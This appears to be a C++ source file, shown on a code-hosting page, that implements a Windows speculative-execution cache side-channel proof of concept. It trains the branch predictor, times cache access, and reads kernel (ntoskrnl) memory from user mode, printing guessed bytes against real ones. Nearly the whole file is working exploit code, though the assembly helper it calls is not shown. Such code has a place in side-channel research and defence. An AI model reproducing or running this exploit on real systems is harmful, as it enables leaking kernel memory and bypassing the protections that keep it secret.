-
Notifications
You must be signed in to change notification settings - Fork 172
/
Copy pathwin.cpp
140 lines (105 loc) · 3.41 KB
/
win.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
// CacheAttack.cpp : Defines the entry point for the console application.
// by @pwnallthethings
#include "stdafx.h"
#include <Windows.h>
EXTERN_C_START
void _run_attempt();
DWORD64 pointers[4096 / 2];
DWORD64* speculative;
BYTE* L2_cache_clear;
DWORD64 times[256];
EXTERN_C_END
typedef NTSTATUS (WINAPI *pNtQuerySystemInformation)(
_In_ DWORD SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef NTSTATUS(WINAPI *pNtYieldProcessor)(
);
pNtQuerySystemInformation NtQuerySystemInformation;
pNtYieldProcessor NtYieldProcessor;
#define SystemModuleInformation 11
#pragma pack(push, 8)
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct
{
ULONG ModulesCount;
RTL_PROCESS_MODULE_INFORMATION Modules[100];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
#pragma pack(pop)
BYTE* cacheClear;
size_t run_attempt_single(BYTE* ptr)
{
//
// Set up the loop. The point is to have a big loop that the branch predictor "learns" to take
// followed by a bad speculation on iteration 1000.
//
for (size_t i = 0; i < ARRAYSIZE(pointers); i++)
{
pointers[i] = (DWORD64)&pointers[0];
speculative[i] = (DWORD64)FALSE;
}
pointers[1000] = (DWORD64)ptr;
speculative[1000] = (DWORD64)TRUE;
DWORD64 times_min[256] = { 0 };
memset(times_min, 0xff, sizeof(times_min));
// warm up
for (size_t attempt = 0; attempt < 2; attempt++)
_run_attempt();
for (size_t attempt = 0; attempt < 5; attempt++)
{
_run_attempt();
for (size_t i = 0; i < 256; i++)
times_min[i] = min(times_min[i], times[i]);
}
size_t max_idx = 0;
for (size_t i = 0; i < 256; i++)
{
if (times_min[i] > times_min[max_idx])
max_idx = i;
}
return max_idx;
}
BYTE* value;
int main()
{
int cpuinfo[4];
__cpuidex(cpuinfo, 0, 0);
char* cpuName = (char*)&cpuinfo[1];
value = (BYTE*)VirtualAlloc(0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
*value = 0x1c;
speculative = (DWORD64*)(VirtualAlloc(0, 0x10000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE));
L2_cache_clear = (BYTE*)VirtualAlloc(0, 256 * 4096, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE | PAGE_WRITECOMBINE);
(*(FARPROC*)&NtQuerySystemInformation) = GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation");
SYSTEM_MODULE_INFORMATION modInfo = { 0 };
DWORD dw;
NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, &modInfo, sizeof(modInfo), &dw);
void* ntoskrnlBase = (void*)modInfo.Modules[0].ImageBase;
size_t ntoskrnlSize = modInfo.Modules[0].ImageSize;
cacheClear = (BYTE*)VirtualAlloc((void*)0x1000000, 0x10000, MEM_COMMIT | MEM_RESERVE | MEM_LARGE_PAGES, PAGE_READWRITE);
BYTE* hMod = (BYTE*)(LoadLibraryExW(L"ntoskrnl.exe", NULL, LOAD_LIBRARY_AS_IMAGE_RESOURCE)) - 2;
IMAGE_DOS_HEADER* imgDos = (IMAGE_DOS_HEADER*)(hMod);
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(hMod + imgDos->e_lfanew);
size_t i = 0x1000;
while(TRUE)
{
BYTE* addr = (BYTE*)ntoskrnlBase;
size_t guess = run_attempt_single(&addr[i]);
printf("0x%02x: guess: 0x%02x, real:0x%02x\n", i, guess, hMod[i]);
i++;
}
return 0;
}